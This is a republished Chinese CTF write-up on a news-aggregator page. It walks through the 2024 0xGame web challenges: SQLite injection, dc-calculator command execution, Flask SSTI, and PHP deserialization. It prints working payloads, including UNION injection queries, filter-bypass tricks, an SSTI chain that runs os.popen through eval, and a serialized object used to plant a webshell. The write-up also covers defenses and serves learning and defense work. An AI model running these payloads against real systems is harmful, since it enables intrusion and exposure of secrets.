当前位置: 首页 > news >正文

2024 0xGame Web安全挑战:从SQLite注入到RCE实战解析

1. SQLite注入基础与实战技巧

SQLite作为轻量级数据库,在CTF题目中经常出现。与MySQL注入相比,SQLite少了information_schema等常用表,但核心注入逻辑相通。以2024 0xGame的ez_sql题为例,我们来看具体操作:

闭合方式差异:SQLite注释符为--(注意空格)或/* */,而字符串闭合常用单引号。遇到过滤时可用/**/替代空格:

?id=1/**/union/**/select/**/1,2,3,sqlite_version(),5--

关键系统表

  • sqlite_master:存储所有表结构信息
  • sqlite_temp_master:临时表信息

实战payload示例

-- 查表结构 ?id=1 union select 1,2,3,(select sql from sqlite_master limit 0,1),5-- -- 查数据(使用group_concat合并结果) ?id=1 union select 1,2,3,(select group_concat(flag) from flag),5--

绕过技巧

  1. 大小写混淆:UnIoN SeLeCt
  2. 内联注释:/*!12345UNION*/
  3. 字符编码:%27替代单引号
  4. 科学计数法:1e1替代10

2. 从注入到RCE的完整链条

在ez_rce题目中,我们需要通过计算器功能实现命令执行。关键点在于绕过字符限制:

原始payload分析

114 1000 * 514 + p; !ls -al /

这里利用dc计算器的特性:

  • 114 1000 *=> 114000
  • 514 +=> 114514
  • p打印结果
  • 分号后执行系统命令

进阶利用技巧

  1. 环境变量注入:${PATH:0:1}获取/
  2. 通配符利用:/???/???匹配/bin/cat
  3. 编码绕过:$(printf "\x2f")表示斜杠
# 读取flag的变形payload __=$((114514));${!__}???${!__}???.???

3. SSTI模板注入实战

ez_ssti题目考察Python Flask模板注入。通过类继承链找到os模块:

探测类位置

{{ ''.__class__.__base__.__subclasses__() }}

定位os模块

{% for i in [].__class__.__base__.__subclasses__() %} {% if 'os' in i.__init__.__globals__ %} {{ loop.index0 }}:{{ i }} {% endif %} {% endfor %}

最终RCE payload

{{().__class__.__bases__[0].__subclasses__()[135].__init__.__globals__.__builtins__['eval']("__import__('os').popen('env').read()")}}

防御绕过技巧

  1. 字符串拼接:'__imp'+'ort__'
  2. 属性链替代:request.__class__
  3. 十六进制编码:\x5f\x5fimport__

4. 反序列化漏洞利用

ez_unser题目展示PHP反序列化的完整攻击链:

POP链构造要点

  1. 找到__destruct()__wakeup()入口点
  2. 追踪可控属性调用链
  3. 利用文件操作类(如SplFileObject

实战payload解析

// 序列化数据格式 O:3:"Man":1:{s:9:"\0Man\0name";O:4:"What":1:{s:9:"\0What\0Kun";...}}

分步攻击流程

  1. 上传临时文件获取时间戳名
  2. 通过二次反序列化修改文件名
  3. 访问webshell执行命令

防御建议

  1. 使用allowed_classes白名单
  2. 校验__wakeup()中的对象属性
  3. 避免危险函数(如file_put_contents

5. 防御与加固方案

针对上述漏洞的防护措施:

SQLite注入防护

# 使用参数化查询 cursor.execute("SELECT * FROM users WHERE id=?", (user_id,))

RCE过滤方案

// 命令过滤正则 const blacklist = /[;&|$\{\}]/g; if(blacklist.test(input)) throw "Invalid input";

SSTI安全配置

from jinja2 import Environment, StrictUndefined env = Environment(undefined=StrictUndefined)

反序列化最佳实践

  1. 使用JSON替代序列化
  2. 实现__sleep()/__wakeup()的安全校验
  3. 签名验证序列化数据

在实际CTF比赛中,建议搭建本地测试环境复现漏洞,使用Burp Suite等工具调试payload。对于SQLite注入,可先用sqlite3命令行测试查询语句;RCE漏洞先在docker容器内验证命令效果;SSTI注入通过逐步调试模板变量观察回显。

http://www.jsqmd.com/news/540519/

相关文章:

  • 新手避坑指南:用TPS61088把3.7V锂电池升压到9V,我的PCB踩了哪些坑?
  • 禅道测试用例 RAG 系统 3:让 AI 更懂你 —— QUERY 改写如何提升检索准确率
  • Teensy MIDI控制器开发库:物理交互到MIDI映射的工程实践
  • GNSS数据处理效率翻倍:FileZilla+crx2rnx自动化脚本一键下载转换RINEX观测值
  • Windows10家庭版也能用!5分钟搞定FTP服务器搭建(附防火墙配置)
  • 跨境服务数字化转型 JAVA 国际版打手俱乐部陪玩系统完整开发教程
  • 2026生产视黄醇亚油酸酯的厂家推荐及行业选择参考 - 品牌排行榜
  • CTFshow Web15:突破PHP命令执行限制的实战技巧
  • MCP开发环境搭建全攻略(VS Code插件安装避坑白皮书·2024官方认证版)
  • STM32上如何用nanopb实现轻量级protobuf通信(附完整工程配置)
  • 告别Transformer!用PyTorch从零实现MLP-Mixer图像分类(附完整代码与调参技巧)
  • League-Toolkit:英雄联盟玩家的终极自动化助手,一键掌握游戏优势
  • Vision Pro实战入门:从零到一的工业视觉软件安装与配置指南
  • 2026高稳定性视黄醇亚油酸酯厂家排名及行业趋势解析 - 品牌排行榜
  • 华为AR路由器VRRP配置实战:从单点故障到流量黑洞,一个实验全搞定
  • Lunar-Javascript:轻量级日历转换解决方案,让传统历法轻松融入现代应用
  • AI人脸隐私卫士实战指南:根据场景选择最佳打码样式
  • Simulink+HIL实战:如何用CAN总线实现多电机扭矩分配闭环测试(附PID调参技巧)
  • 在 React 中,useRef、ref 属性以及 forwardRef 是处理“引用”(访问 DOM 节点或组件实例)的核心概念
  • STM32上如何用串口BREAK中断优雅处理DMX与RDM协议(附完整代码)
  • NetGen:高质量网格生成的科学计算解决方案
  • 创龙T113 SDK编译实战:从环境配置到疑难排错
  • 双端适配陪玩系统 JAVA 国际版源码 + H5 + 打手俱乐部集成方案
  • 从项目实战出发:用pip和venv搞定Python多版本依赖隔离与离线部署(附requirements.txt最佳实践)
  • 如何用PortProxyGUI简化Windows端口转发配置
  • 光学设计避坑指南:CODEV10.2中那些容易忽略的细节(附练习题解析)
  • Go-Zero + DTM实战:电商订单与库存的分布式事务处理(附完整代码)
  • 从 0 到 1 搭建企业级 UI 自动化测试框架(Python + Selenium + Pytest + Allure)
  • AHT20传感器数据漂移?STM32硬件I2C与软件模拟的稳定性对比测试
  • 量子阱、量子线和量子点有什么区别?从游泳池到楼梯的通俗解释